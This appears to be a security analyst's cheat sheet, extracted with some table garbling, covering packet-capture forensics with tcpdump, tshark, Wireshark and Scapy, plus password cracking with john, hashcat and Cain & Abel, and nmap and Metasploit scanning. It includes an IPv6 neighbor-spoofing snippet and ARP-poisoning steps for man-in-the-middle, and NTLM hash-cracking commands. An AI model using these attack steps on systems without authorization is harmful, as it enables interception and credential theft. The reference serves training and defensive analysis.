                                             :find MAC for specific IP
tcpdump -r file.pcap 'port 137 || 138 || 139 || 445' :host name using Netbios & SMB
tcpdump -r file.pcap -v -n port 67 or 68 :find host name using DHCP (option 12)
tcpdump -r file.pcap -vvnA port 88 host <ip> | grep 'ldap' : find host name using
Kerberos (option 12)
Windows User Account Name
:Kerberos
packets for host
Device Model & OS From HTTP Traffic
1. To monitor HTTP traffic including request and response headers and message body:
tcpdump -r file.pcap -A -tttt 'tcp port http and (((ip[2:2] - ((ip[0] \& 0xf) << 2)) -
((tcp[12]&0xf0)>>2)) != 0)'
2. To monitor HTTP traffic including request and response headers and message body from
a particular source:
tcpdump -r file.pcap -A -tttt 'src example.com and tcp port 80 and (((ip[2:2] -
((ip[0]\&0xf)<<2)) - ((tcp[12]\&0xf0)>>2)) != 0)'
3. To only include HTTP requests, modify "tcp port http" to "tcp dst port http" in above
tcpdump -r file.pcap -tttt 'tcp dst port http'
tcpdump -r file.pcap -A -tttt "tcp dst port http"
Find Possible Scans:
tcpdump -nr traffic.pcap 'tcp[tcpflags]=2' | awk '{print $3}' | cut -d. -f1,2,3,4 |
sort | uniq -c | sort -nr
Other flags:
TCP Connect Scans
                               TCP SYN Scan
                                                          TCP ACK Scan
                               proto 6 and 'tcp[13]=0x02' proto 6 and 'tcp[13]=0x10'
proto 6 and 'tcp[13]=0x12'
                                                          TCP NULL Scan
TCP FIN Scan
                               TCP XMAS Scan
                               proto 6 and 'tcp[13]=0x29' proto 6 and 'tcp[13]=0x00'
proto 6 and 'tcp[13]=0x01'
Ping Sweep
                               TCP Ping Sweep
                                                         UDP Ping Sweep
                               proto 6 and dst port 7 proto 17 and dst port 7
tcpdump icmp
UDP Scan
proto 17 and ip.len == 28
Non-standard ICMP
tcpdump 'icmp[icmptype] != icmp-echo and icmp[icmptype] != icmp-echoreply'
TCP Sequence Analysis:
tcpdump -r file.pcap -ntS
Look at HTTP(S) Traffic for a Single Device
\verb|tcpdump -r file.pcap -tttt 'tcp port https' or 'tcp port http' and 'host < infected ip >'
tcpdump -n -r file.pcap -tttt 'tcp port https and (tcp[((tcp[12] & 0xf0) >> 2)] = 0x16)'
:just SSL handshake
Took for ips & ports from alerts
sudo sostat-quick :easiest way to pull
mysql -uroot -Dsecurityonion db :enter mysql shell to pull queries
Show top 20 intrusion events
SELECT COUNT(*) AS cnt, signature, signature id FROM event WHERE status=0 GROUP BY
signature ORDER BY cnt DESC LIMIT 20;
Look for Downloaded Files using tcpdump
```

tcpdump -r file.pcap -vvA | grep 'This program'

Look for Downloaded Files using ngrep ngrep -I exercise.pcap -qt 'This program'

Look for downloaded files using bro/zeke bro -r /pcaps/sample.pcap /opt/bro/share/bro/file-extraction/extract.bro ls -la /nsm/bro/extracted :default types - .exe .txt .jpg .png .html

Look for downloaded files using tshark tshark -r mypcap.pcap --export-objects "http,destdir"

Look for ips not in alerts tcpdump -r file.pcap 'tcp port https' or 'tcp port http' and 'host <infected ip>'

Find FTP Traffic

tcpdump -r file.pcap -tttt port ftp or ftp-data tcpdump -r file.pcap -vvAs0 -tttt port ftp or ftp-data

Pulling a sha-256 for infected files:
Powershell: Get-FileHash .\<file> -Algorithm SHA256

Linux info: file malware.exe Linux: shasum -a 256 malware.exe

IA: tshark Essentials

Traffic Analysis

```
Pcap Flow (Tshark)
tshark -n -r /pcaps/sample.pcap -q -z conv, tcp :-z get stats
Build summary of IP protocols and HTTP request method seen in pcap
$ tshark -r file.pcap -T fields -e ip.proto | sort | uniq -c | sort >
summary.txt
$ tshark -r file.pcap -z conv,tcp | sed
'1,/========/d' >> summary.txt
$ tshark -r file.pcap -z conv,udp | sed
'1,/========/d' >> summary.txt
$ tshark -r file.pcap -T fields -e http.request.method -R
"http.request.method" | sort | uniq -c | sort >> summary.txt
$ tshark -T fields -e ip.dst -e tcp.dstport -e udp.dstport -Y "ip.src==192.168.137.91"
-r file.pcap | sort | uniq -c >> summary.txt
HTTP Traffic Analysis
*Look for ips connected, look for referrer traffic if any
tshark -T fields -e frame.time -e ip.proto -e ip.src -e tcp.srcport -e ip.dst -e
tcp.dstport
-e tcp.flags -e http.referer -e http.host -e http.request.uri -e http.request.method -e
http.content type -e http.content length -e http.content encoding -e http.user agent
-e ssl.handshake.extensions server name -e udp.dstport -e dns.qry.name -E
separator="," -E header=y -r file.pcap >
dridex 2016 05 12.csv
Pcap Strings Search
tshark -nr /sample.pcap -Y "http.request.method==GET"
                                                               :alternate search
TCP Sequence Analysis
tshark -r file.pcap -T fields -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport -e
tcp.flags -e tcp.seq -e tcp.len -E header=y -Y "ip.src == 10.10.10.10 and tcp.dstport
==80"
Show FTP files being sent:
tshark -r file.pcap -n -Y "ftp-data"
                                                                :then follow stream, save as
"Raw", save conv.
tshark -r file.pcap -n -Y "ftp.request.command contains USER" :look for FTP login requests tshark -r file.pcap -n -Y "ftp.request.command contains PASS" :alt-look for FTP login
*Note try to follow the last one
tshark -r file.pcap -n -Y "ftp.request.command contains RETR" :look for a quick list of
file
tshark -r file.pcap -n -Y "ftp.request.command contains STOR" :alt-look for a quick list
of files
```

IA: WireShark Essentials

Ether	net	AF	RP
eth.addr	eth.len	arp.dst.hw mac	arp.proto.size
eth.dst	eth.src	arp.dst.proto ipv4	arp.proto.type
eth.lg	eth.trailer	arp.hw.size	arp.src.hw mac
eth.ig	eth.multicast	arp.hw.type	arp.src.proto_ipv4
IEEE 80		TC	
vlan.cfi	vlan.id	tcp.ack	tcp.options.qs
vlan.priority	vlan.etype	tcp.checksum	tcp.options.sack
vlan.len	vlan.trailer	tcp.checksum bad	tcp.options.sack le
IPV		tcp.checksum good	tcp.options.sack pe
			rm
ip.addr	<pre>ip.fragment.overla p.conflict</pre>	tcp.continuation_to	tcp.options.sack_re
ip.checksum	<pre>ip.fragment.toolon gfragment</pre>	tcp.dstport	<pre>tcp.options.time_st amp</pre>
ip.checksum_bad	ip.fragments	tcp.flags	tcp.options.wscale
ip.checksum_good	ip.hdr_len	tcp.flags.ack	tcp.options.wscale_val
ip.dsfield	ip.host	tcp.flags.cwr	tcp.pdu.last_frame
ip.dsfield.ce	ip.id	tcp.flags.ecn	tcp.pdu.size
ip.dsfield.dscp	ip.len	tcp.flags.fin	tcp.pdu.time
ip.dsfield.ect	ip.proto	tcp.flags.push	tcp.port
ip.dst	ip.reassebled_in	tcp.flags.reset	tcp.reassembled_in
ip.dst host	ip.src	tcp.flags.syn	tcp.segment
ip.flags	ip.src_host	tcp.flags.urg	tcp.segment_error
ip.flags.df	ip.tos	tcp.hdr_len	tcp.segment.multipl etails
ip.flags.mf	ip.tos.cost	tcp.len	tcp.segment.overlap
ip.flags.rb	ip.tos.delay	tcp.nextseq	tcp.segment.overlap
ip.frag_offset	ip.tos.precedence	tcp.options	<pre>tcp.segment.overlap .conflict</pre>
ip.fragment	ip.tos.reliability	tcp.options.cc	tcp.segment.toolong fragment
ip.fragment.error	ip.tos.throughput	tcp.options.ccecho	tcp.segments
<pre>ip.fragment.multiplet ails</pre>	ip.ttl	tcp.options.ccnew	tcp.seq
ip.fragment.overlap	ip.version	tcp.options.echo	tcp.srcport
IPv		tcp.options.echo_rep ly	tcp.time_delta
ipv6.addr	ipv6.hop_opt	tcp.options.md5	tcp.time_relative
ipv6.class	ipv6.host	tcp.options.mss	tcp.urgent pointer
ipv6.dst	<pre>ipv6.mipv6_home_ad dress</pre>	tcp.options.mss_val	tcp.window_size
ipv6.dst_host	ipv6.mipv_length	UE)P
ipv6.dst opt	ipv6.nxt	udp.checksum	udp.dstport
ipv6.flow	ipv6.opt.pad1	udp.checksum bad	udp.length
ipv6.fragment	ipv6.opt.padn	udp.checksum_good	udp.port
ipv6.fragment.error	ipv6.plen		udp.srcport
ipv6.fragment.more	<pre>ipv6.reassembled_i n</pre>	Operators	Logic
<pre>ipv6.fragment.multipl etails</pre>	ipv6.routing_hdr	eq or ==	and or &&
ipv6.fragment.offset	ipv6.routing_hdr.a ddr	ne or !=	or or
ipv6.fragment.overlap	<pre>ipv6.routing_hdr.l eft</pre>	gt or >	xor or ^^
ipv6.fragment.id	ipv6.src host	lt or <	not or !
ipv6.hlim	ipv6.version	ge or >=	[n] []
		le or <=	
Frame H	Relav	ICM	Pv6
fr.becn	fr.de	icmpv6.all comp	icmpv6.option.name

	1	1	type.fqdn
fr.chdlctype	fr.dlci	icmpv6.checksum	icmpv6.option.name_x501
fr.control	fr.dlcore_control	icmpv6.checksum_bad	icmpv6.option.rsa.k ey hash
fr.control.f	fr.ea	icmpv6.code	icmpv6.option.type
fr.control.ftype	fr.fecn	icmpv6.comp	icmpv6.ra.cur_hop_l imit
fr.control.n_r	fr.lower_dlci	icmpv6.haad.ha_addrs	<pre>icmpv6.ra.reachable time</pre>
fr.control.n_s	fr.nlpid	icmpv6.identifier	<pre>icmpv6.ra.retrans_t imer</pre>
fr.control.p	fr.second_dlci	icmpv6.option	<pre>icmpv6.ra.router_li fetime</pre>
fr.control.s_ftype	fr.snap.oui	icmpv6.option.cga	icmpv6.recursive_dn s serv
<pre>fr.control.u_modifier cmd</pre>	fr.snap.pid	icmpv6.option.length	icmpv6.type
<pre>fr.control.u_modifier resp</pre>	fr.snaptype	<pre>icmpv6.option.name_t ype</pre>	
fr.cr	fr.third dlci	RI	P
fr.dc	fr.upper dlci	rip.auth.passwd	rip.netmask
PPI	P	rip.auth.type	rip.next_hop
ppp.address	ppp.direction	rip.command	rip.route tag
ppp.control	ppp.protocol	rip.family	rip.routing domain
MPLS		rip.ip	rip.version
mpls.bottom	<pre>mpls.oam.defect_lo cation</pre>	rip.metric	
mpls.cw.control	mpls.oam.frequency	BG	SP
mpls.cw.res	<pre>mpls.oam.function_ type</pre>	bgp.aggregator_as	bgp.mp_reach_nlri_i pv4_prefix
mpls.label	mpls.oam.ttsi	<pre>bgp.aggregator_origi n</pre>	bgp.mp_unreach_nlri ipv4 prefix
mpls.oam.bip16	mpls.ttl	bgp.as_path	bgp.multi_exit_disc
ICM	IP	bgp.cluster_identifi er	bgp.next_hop
icmp.checksum	icmp.mtu	bgp.cluster list	bgp.nlri prefix
icmp.checksum_bad	icmp.mtu	bgp.community_as	bgp.origin
icmp.code	icmp.redir gw	bgp.community value	bgp.origin id
icmp.ident	icmp.seq	bgp.local_pref	bgp.type
	icmp.type	bgp.mp_nlri_tnl_id	bgp.withdrawn_prefix
DTI	P	HT	
dtp.neighbor	dtp.version	http.accept	http.proxy_authoriz ation
dtp.tlv_len	dtp.neighbor	http.accept_encoding	http.proxy_connect_ host
dtp.tlv_type		http.accept_language	http.proxy_connect_ port
VTI	P	http.authbasaic	http.referer
vtp.code	vtp.vlan_info.802_ 10 index	http.authorization	http.request
vtp.conf_rev_num	vtp.vlan_info.isl_ vlan id	http.cache_control	http.request.method
vtp.followers	vtp.vlan info.len	http.connection	http.request.uri
vtp.md	vtp.vlan_info.mtu_ size	http.content_encodin	http.request.versio
vtp.md5_digest	vtp.vlan_info.stat us.vlan susp	http.content_length	http.response
vtp.md_len	vtp.vlan_info.tlv_ len	http.content_type	http.response.code
vtp.seq_num	vtp.vlan_info.tlv_ type	http.cookie	http.server
vtp.start_value	vtp.vlan_info.vlan name	http.date	http.set_cookie
vtp.upd_id	vtp.vlan_info.vlan name len	http.host	http.transfer_encod ing
		I	

vtp.udp_ts	vtp.vlan_info.vlan	http.last_modified	http.user_agent
	type		
vtp.version		http.location	http.www_authentica
			te
		http.notification	http.x_forwarded_fo
			r
		http.proxy_authentic	
		ate	

^{*}from packetlife.net

Common Investigation Queries (See TCPDump Essentials for translation to tcpdump)

Control+F: tcp and frame contains "xxxx"
Typically start with File / Export Objects / HTTP

Web Attack Analysis (successful): http.response.code == 200

http.request and ip.addr eq x.x.x.x

Starting Point

Statistics / Protocol Hierarchy :get a feel for what type of traffic you're working with

Statistics / End Points :get a feel for the devices involved

Statistics / Conversations :look at large conversations, and duration

Statistics / HTTP / Requests :can be used to narrow down if malware was downloaded

Pcap Analysis Tools:

VirusTotal: https://www.virustotal.com
Packettotal: https://packettotal.com/
ThreatGrid cannot handle pcaps ⊗

Computer Information:

Mac Address (xref NAC logs): 00:59:07:b0:63:a4 - Found on any packet with the ip, directly on Ethernet

Host Name: use "nbns" to filter netbios traffic. The <00> requests can be hostnames or domains, but the <20> shows the hostname *Alternatively we could have search wireshark with bootp or dhcp (dhcp for WireShark 3.0), click a DHCP Request - In this case a DHCP Inform. Expand DHCP, Option 12 Host Name

Windows User Account Name:

Filter WireShark on kerberos.CNameString

Select an AS-Req packet, go to Kerberos / as-req / req-body /cname / cname-string, right click the line with CNameString:computer-pc\$ and apply as column. Then you should see computer and usernames. CNameString values for hostnames always end with a \$, while user account names do not. To filter on user account names:

kerberos.CNameString and !(kerberos.CNameString contains \$)

Device Model & OS From HTTP Traffic:

http.request and !(ssdp) / Follow TCP Stream

*alternatiely frame contains GET

Under User agent string it commonly identifies OS & Browser but can be spoofed (Windows NT 5.1: Windows XP, Windows NT 6.0: Windows Vista, Windows NT 6.1: Windows NT 6.2: Windows 8, Windows NT 6.3: Windows 8.1, Windows NT 10.0: Windows 10). Note for mobile devices you can find the model or OS type from the user agent string)

Find Recon Activity:

Ping SweepTCP Ping SweepUDP Ping Sweepicmp.type==8 or icmp.type==0tcp.dstport==7udp.dstport==7TCP Connect ScansTCP SYN ScanTCP ACK Scan

ip.proto == 6 and tcp.flags == 18 ip.proto == 6 and tcp.flags == 2 ip.proto == 6 and tcp.flags == 16

TCP FIN Scan TCP XMAS Scan TCP NULL Scan

ip.proto == 6 and tcp.flags == 1 ip.proto == 6 and tcp.flags == 41 ip.proto == 6 and tcp.flags == 0

UDP Scan

ip.proto == 17 and ip.len == 28

Possible Signs of Crafted Packets

Repeat ack #s No Flags TCP XMAS Scan

 $tcp.analysis.duplicate_ack_num \qquad ip.proto == 6 \ and \ tcp.flags == 0 \qquad ip.proto == 6 \ and \ tcp.flags == 41$

Source Port 0 Dest Port 0 Maximum Segment Size = 0 tcp.srcport == 0 tcp.dstport == 0 tcp.options.mss contains 00:00

Bad TCP Checksum Bad ip length

^{*}if you don't have either of those you could filter "smb" to show SMC traffic then look for Host Announcement which shows the name

tcp.checksum_bad.expert ip.checksum_bad.expert ip.bogus_ip_length

ICMP Offset > 0 Broadcast Traffic (i.e. ICMP) Large ICMP Traffic (or DNS)

ip.frag_offset gt 0 ip.dst_host == 255.255.255.255 frame.cap_len gt 120 and icmp (or dns)

Find ARP Poisoning (using Conventional ARP Reply)

arp.duplicate-address-detected

Find ARP Poisoning Using Gratuitous ARP

arp.isgratuitous

Look at HTTP(S) Traffic for a single device

(http.request or ssl.handshake.type ==1) and !(udp.port==1900) and ip.addr eq <ip>

*Note any traffic over non-standard ports, if needed right click / Decode As

Alternatively look at Statistics / HTTP / Requests

IOCs

First look for ips and ports from alerts, look for downloade files

possibly try (http.request or ssl.handshake.type ==1) and !(udp.port==1900) and ip.addr eq <ip>

*Note after you find downloaded files, then follow stream. Add one to the syntax "tcp.stream eq #" and walk through the streams after

to look for beacon traffic

(http.request or ssl.handshake.type ==1) and !(udp.port==1900) and ip.addr eq <ip>:look for ips not in alerts

DNS Requests

dns.resp.name dns.qry.name contains "part of url"

Downloaded files

File / Export Objects / (HTTP or appropriate)

Statistics / HTTP / Requests

http get requests from alerted ips, and files downloaded – ip.addr eq x.x.x.x and http.request

ip contains "This program" then Follow TCP Stream (especially look for files with different extension)

SMB Files

smb and smb.cmd == 0xa2

*in middle of wireshark pane expand SMB, expand SMB Header, expand NT Create Andx Response. If file exists the time and date stamps, size and filename will be shown

smb.cmd == 0x2e or smb.cmd == 0x2f

:show only SMB reads (0x2e) + writes (0x2f)

*use to identify all attempted xfers and if likely successful

Show FTP command timeline:

ftp.request.command eq USER or ftp.request.command eq PASS or ftp.request.command eq STOR

-shows the server 000webhost.com using different ips - common

Show FTP files being sent:

ftp-data :then follow stream, save as "Raw", save conv.

*Note try to follow the last one

ftp.request.command == "RETR" || ftp.request.command == "STOR" :look for a quick list of files

Pulling a sha-256 for infected files:

Powershell: Get-FileHash .\<file> -Algorithm SHA256

Linux info: file malware.exe

Linux: shasum -a 256 malware.exe

IA & ID Vulns: Scapy

Sniffing Packets

```
To sniff using Berkley Packet Filters:

>>> packets = sniff(filter="host
1.1.1.1")

Sniffing using counts:

>>> packets = sniff(count=100)

Reading packets from a pcap:

>>> packets = rdpcap("filename.pcap")

Writing packets to a pcap:

>>> wrpcap("filename.pcap", packets)
```

Scapy Basics

```
*requires root privs to sniff or send packets
Launch: sudo scapy
Additionally Scapy can be imported either interactively or in a script with:
from scapy.all import *
To list supported layers:
>>> ls()
Some key layers are:
arp, ip, ipv6, tcp, udp, icmp
To view layer fields use ls(layer):
>>> ls(IPv6)
>>> ls(TCP)
To list available commands:
>>> lsc()
Some key commands for interacting with packets:
rdpcap, send, sr, sniff, wrpcap
Getting help with commands use help(command):
>>> help(rdpcap)
```

Scapy Basic Packet Crafting/Viewing

```
Scapy works with layers. Layers are individual functions linked together with the "/" character to construct packets. To build a basic TCP/IP packet with "data" as the payload:
>>> packet = IP(dst="1.2.3.4")/
TCP(dport=22)/"data"
Note: Scapy allows the user to craft all the way down to the ether() layer, but will use default values if layers are omitted. To correctly pass traffic layers should be ordered lowest to highest from left to right e.g. (ether -> IP -> TCP).
To get a packet summary:
>>> packet.summary()
To get more packet details:
>>> packet.show()
```

Scapy Ethernet Layer Fields / Default Values

```
>>> ls(Ether)
Field Type Default Value
dst : DestMACField = (None)
src : SourceMACField = (None)
type : XShortEnumField = (0)
```

Scapy IPv4 Layer Fileds / Default Values

```
>>> ls(IP)
Field Type Default Value
version : BitField = (4)
ihl : BitField = (None)
tos : XByteField = (0)
len : ShortField = (None)
id : ShortField = (1)
```

```
flags : FlagsField = (0)
frag : BitField = (0)
ttl : ByteField = (64)
proto : ByteEnumField = (0)
chksum : XShortField = (None)
src : Emph = (None)
dst : Emph = ('127.0.0.1')
options : PacketListField = ([])
```

Scapy TCP Layer Fields / Default Values

```
>>> ls(TCP)
Field Type Default Value
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField = (None)
reserved : BitField = (0)
flags : FlagsField = (2)
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})
```

Scapy Altering Packets

```
Packet layer fields are Python variables and can
be modified.
Example packet:
>>> packet = IP(dst="10.10.10.50")/
TCP(sport=80)
Viewing a field's value like the source port:
>>> packet.sport
80
Setting the source port:
>>> packet.sport = 443
>>> packet.sport
443
Setting port ranges:
>>> packet[TCP].dport = (1,1024)
Setting a list of ports:
>>> packet[TCP].dport = [22, 80, 445]
Setting the TCP flags (control bits):
>>> packet[TCP].flags="SA"
>>> packet[TCP].flags
18 (decimal value of CEUAPRSF bits)
>>> packet.sprintf("%TCP.flags%")
'SA'
Note! For ambiguous fields, like "flags", you must
specify the target layer (TCP).
Setting destination IP address(es):
>>> packet[IP].dst = "1.2.3.4"
>>> packet[IP].dst = "sans.org"
Using CIDR:
>>> packet[IP].dst = "1.2.3.4/16"
Multiple Destinations:
>>> packet[IP].dst = ["1.2.3.4",
"2.3.4.5", "5.6.7.8"]
```

OS Default TTLS

```
Unix TTL: 64
Windows TTL: 128
Cisco (old) TTL: 255
```

Sending Packets

```
Creating and sending a packet:
>>> packet =
IP(dst="4.5.6.7",src="1.2.3.4") /
TCP(dport=80, flags="S")
Send a packet, or list of packets without custom ether
```

```
layer:
>>> send(packet)
Other send functions:
sr() sends and receives without a custom ether()
laver
sendp() sends with a custom ether() layer
srp() sends and receives at with a custom ether()
layer
sr1() sends packets without custom ether() layer
and waits for first answer
srlp() sends packets with custom ether() layer and
waits for first answer
Send function options:
filter = <Berkley Packet Filter>
retry = <retry count for unanswered packets>
timeout = <number of seconds to wait before giving</pre>
up>
iface = <interface to send and receive>
>>> packets = sr(packet, retry=5,
timeout=1.5, iface="eth0", filter="host
1.2.3.4 and port 80")
```

Receiving and Analyzing Packets

```
Received packets can be stored in a variable when
using a send/receive function such as sr(), srp(), srl()
sr1p():
>>> packet = IP(dst="10.10.10.20")/
TCP(dport=0,1024)
>>> unans, ans = sr(packet)
Received 1086 packets, got 1024 answers,
remaining 0 packets
"ans" will store the answered packets:
>>> ans
<Results: TCP:1024 UDP:0 ICMP:0 Other:0>
To see a summary of the responses:
>>> ans.summary()
IP / TCP 10.1.1.15:ftp_data >
10.10.10.20:netbios ssn S ==> IP / TCP
10.10.10.20:netbios ssn > 10.1.1.15:ftp data
SA / Padding
Note: this is the output from port 139 (netbios ssn).
Notice how this port was open and responded with a
SYN-ACK.
To view a specific answer as a stream in array form:
>>> ans[15]
To view the first packet in the stream:
>>> ans[15][0] (this will be packet the Scapy
sent)
<IP frag=0 proto=tcp dst=10.10.10.20 |<TCP</pre>
dport=netstat flags=S |>>
To view the response from the distant end:
>>> ans[15][1]
<IP version=4L ihl=5L tos=0x0 len=40 id=16355</pre>
flags=DF frag=0L ttl=128 proto=tcp
chksum=0x368c src=10.10.10.20 dst=10.1.1.15
options=[] |<TCP sport=netstat dport=ftp data
seq=0 ack=1 dataofs=5L reserved=0L flags=RA
window=0 chksum=0x2b4c urgptr=0 |<Padding
load='\x00\x00\x00\x00\x00\x00' |>>>
To view the TCP flags in the response packet:
>>> ans[15][1].sprintf("%TCP.flags%")
'RA'
```

Spoofing IPv6 Neighbor Advertisements Using Scapy (for MitM)

```
>>> ether=Ether(dst="33:33:00:00:00:01")
>>> ipv6=IPv6(dst="ff02::1")
>>> na=ICMPv6ND_NA(tgt="2a03:2149:8008:2901::5", R=0, S=0, O=1)
>>> lla=ICMPv6NDOptDstLLAddr(lladdr="00:24:54:ba:a1:97")
>>> packet=ether/ipv6/na/lla
>>> sendp(packet,loop=1,inter=3)
```

Password Cracking:john

Tools Listed under Password Cracking

john, cain

John, Cain

Hash Identification

john 127.0.0.1.pwdump
Hash-identifier

Crack LM Hashes

john --format=lm hash.txt
hashcat -m 3000 -a 3 hash.txt

Crack NTLM Hashes (aka NTHash)

Obtained by dumping SAM database or using Mimikatz You CAN use pass the hash john --format=nt hash.txt hashcat -m 1000 -a 3 hash.txt

Crack NTLMv1 Hashes (aka Net-NTLMv1)

Obtained by dumping SAM database, Mimikatz, or Responder or Inveigh You CANNOT use pass the hash john --format=netntlm hash.txt hashcat -m 5500 -a 3 hash.txt

Crack NTLMv2 Hashes (aka Net-NTLMv2)

Obtained by dumping SAM database, Mimikatz, or Responder or Inveigh You CANNOT use pass the hash john --format=netntlmv2 hash.txt hashcat -m 5600 -a 3 hash.txt

Hash Cracking (Windows)

john --rules --wordlist=/usr/share/wordlists/~.txt 127.0.0.1.pwdump
* permutation rules stored in john.conf; copy rules from single mode into wordlist mode
hashcat :multithreaded cracking tool
oclhashcat :GPU cracking w/ATI/NVIDIA -30x faster

Hash Cracking (Linux)

unshadow <pass_file.txt> <shadow-file.txt> :first combine
unshadow <pass_file.txt> <shadow-file.txt> > unshadowed.txt
john --rules --wordlist=/usr/share/wordlists/~.txt unshadowed.txt --rules -stdout
* permutation rules stored in john.conf; copy rules from single mode into wordlist mode
*Remember to delete john.pot

John the Ripper: SSE2 Capable

cp -r /opt/john-1.8.0 /tmp/john-sse2 :copy john to tmp folder * permutation rules stored in john.conf; copy rules from single mode into wordlist mode cd src make clean linux-x86-sse2 :assuming we are 32 bit cd /tmp/john-sse2/run/ :cd into dir we made sse2 john ./john --test :test showing much faster than normal ./john /tmp/hashfile.txt :start running SSE2 john ./john --wordlist=test.dict --rules -stdout ./john --show /tmp/hashfile.txt :show current cracked passwords cat john.pot :show all cracked passwords

John Jumbo Version

http://www.jedge.com/wordpress/2009/11/john-the-ripper-w-jumbo-patch/Additional support for John; example needed to crack user.MYD (mysql) file

Password Cracking:cain

Tools Listed under Password Cracking

john, cain

MitM Sniffing with Cain and Able

From scotthelme.co.uk

Perform MitM

Open Cain, first step is to identify clients on the network

Click Sniffter tab, then click start sniffer button

Passive - wait; active - right click in empty list and hit scan MAC addresses Decide who target, Select the APR tab at the bottom, click anywhere in the empty space indicated and the blue plus icon at the top of the screen will be activated. This allows you to add clients to the attack, click that.

On the left side select your target, and all on the right that appear, ok Hit Start APR button (hard icon)

Half-routing means working on it, Full-routing means unrestricted access

Hijack Existing Sessions

Start Wireshark and capture on interface, filter ip.src==<target>

Cain: Dictionary Attack

Dictionary attack uses a predetermined list of words from a dictionary to generate possible passwords that may match the MD5 encrypted password. This is one of the easiest and quickest way to obtain any given password.

- 1. Start Cain & Abel (Start > Programs > Cain > Cain).
- 2. Choose 'Yes' to proceed when a 'User Account Control' notification pops up regarding software authorization.
- 3. Once on, select the 'Cracker' tab with the key symbol, then click on MD5 Hashes on the left hand side.
- 4. As you might have noticed we don't have any passwords to crack, thus for the next few steps we will create our own MD5 encrypted passwords. First, locate the Hash Calculator among a row of icons near the top. Open it.
- 5. Next, type into 'Text to Hash' the word password. It will generate a list of hashes pertaining to different types of hash algorithms. We will be focusing on MD5 hash so copy it. Then exit calculator by clicking 'Cancel' (Fun Fact: Hashes are case sensitive so any slight changes to the text will change the hashes generated, try changing a letter or two and you will see. This is called the avalanche effect.
- 6. After you exit, right click and select 'Add to list', paste your hash then click OK. Your first encrypted password! But don't stop there, add the following MD5 hashes from the words PaSS, 13579,15473, sunshine89, and c@t69
- 7. With all the encrypted MD5 passwords on hand, we can finally start! Move your cursor and select all six passwords, then right click and press 'Dictionary Attack'.
- 8. Once the window opens, go up to the dictionary and select 'Wordlist.txt', right click and select 'Reset initial file position'. You'll know you've resetted when there's nothing under the position column. Note: Make sure to do this every time you want to restart a dictionary attack!
- 9. Click 'start' and watch the magic happens before your eyes! Once it ends 'exit'. Your result should be the same as below.

Cain: Rainbow Tables

Rainbow tables use pre-calculated MD5 hashes sorted on a table(s) to compare to encrypted MD5 files in order to find a match thus cracking the password. This type of password cracking trades time and storage capacity.

- 1. Continuation from the previous 'Dictionary Attack's ection. Cain & Abel should already be opened with following MD5 encrypted passwords.
- $2.\ \mbox{Now}$ with the other half of the passwords still encrypted, we will be using rainbow table

attacking to see if we can finally crack them. Selectall six passwords, right click, and select 'Cryptanalysis Attack via RainbowTables'.

3. A window will pop up and you could see under 'Sorted Rainbow Tables'there is already a MD5 rainbow table already added. Notice the specifications for that specific

rainbow table. Click 'Start'when ready. 'Exit' when done.

Cain: Brute Force

Brute force attacks uses a finite but enormous number of combinations involving alphabet, numbers, and symbols in order to crack a password. This type of password cracking is usually used as a last resort as it's the most time consuming overall.

- 1. Continuation from the previous 'Rainbow Tables' section. Cain & Abel should already be opened with the following MD5 encrypted passwords.
- 2. Now with only two more passwords still encrypted, we will be using brute force attack to see if we can finally crack them. Selectall six passwords, right click, and select 'Brute-Force Attack'.
- 3. Once a window appears we will have to adjust some settings to fit our requirements. Under Charsetand Predefinedselected, open the drop down bar and select the one below the initially selected one. Next, under Password lengthturn Max down to 5.
- 4. When ready click 'Start'. Once it's done calculating 'Exit'
- 5. If all else fails, Brute-Force attack is the only option left. Open the 'Brute-Force Attack' window
- 6. Under Charset with Predefined selected, select the drop down bar and choose the one with just the lowercase and UPPERCASE key.Turn down the max under password length to
- 7. Press Start

Enumeration

Sniff While Scanning (Can be helpful)

```
tcpdump -nn host <ip>:sniff a particular ip
nmap -n -sT <ip>:shows 3 way handshake in tcpdump
```

Passive Fingerprinting

```
p0f -i eth0 -p -o /tmp/p0f.log
fl0p
```

Nmap Probe/Sweeps (quicker, less results)

```
nmap -PB <ip>
                                                :ICMP ER, SYN-443, ACK-80; ICMP TSR
nmap -sP <ip>
                                                :ICMP ping sweep (many fws block)
nmap -PS[portlist] <ip>
                                                :TCP ACK ping; i.e. -PS80
nmap -sn <ip>
                                                :ping sweep
nmap -PA <ip>
                                                :TCP Syn ping
nmap -PP <ip>
                                                :ICMP timestamp request (type 13)
nmap -PM <ip>
                                                :ICMP address mask request (type 17)
nmap -PR <ip>
                                                :ARP discovery-only works on same subnet
```

Nmap Scans

```
Nmap -Pn
                                               :turns off ping before scan-use often
nmap -sT -A -P0 <target ip>
                                               :detailed info
nmap -F <ip>
                                               :Fast scan - top 100 ports
nmap -p 80 <ip>
                                               :scan single port
nmap -sA <ip>
                                               :TCP ACK Scan
                                               :FIN Scan (set FIN bit of all packets)
nmap -sF <ip>
nmap -sS <ip>
                                               :stealth scan (half open, not stealthy)
nmap -sT <ip>
                                               :TCP Connect Scan
nmap -sU -p 53,111,414,500-501<ip>
                                               :UDP Scan (specified ports)
nmap -sW <ip>
                                               :TCP Windows scan
nmap <ip> --script=<all,category,dir,script>
                                               :Nmap Scripting Engine
nmap <ip> --script smb-os-discovery.nse
                                               :nmap NSE example
grep safe /opt/nmap-6.4.7/share/nmap/scripts/script.db :search for safe NSE scripts
nmap <ip> --iflist
                                               :show host interfaces & routes
nmap <ip> --reason
                                               :shows you why it gave you what it did
<spacebar>
                                               :estimate progress during scan
```

Nmap OS Fingerprinting (most bandwidth intensive scan)

```
nmap -0 <ip>:OS scannmap -A <ip>:detect OS & servicesnmap -sV <ip>:standard service detection
```

Nmap Fuzzing Scans

nmap -sM <ip></ip>	:TCP Maimon scan (set FIN & ACK bits)
nmap -sX	:Xmas Tree Scan (FIN, PSH, URG bits)
nmap -sN	:null scan (set all control bits to 0)
nmap -s0 <ip></ip>	:Scan IP protocols(TCP,ICMP,IGMP,etc.)

Nmap Output Options

Nmap Firewall Scans

TCP Idle Scan (scan stealthily by spoofing ip address of another host on network)

```
msfconsole :start metasploit
use auxiliary/scanner/ip/ipidseq :look for idle computers
show options :show parameters
set RHOSTS <ips>; set THREADS 10 :set parameters
run
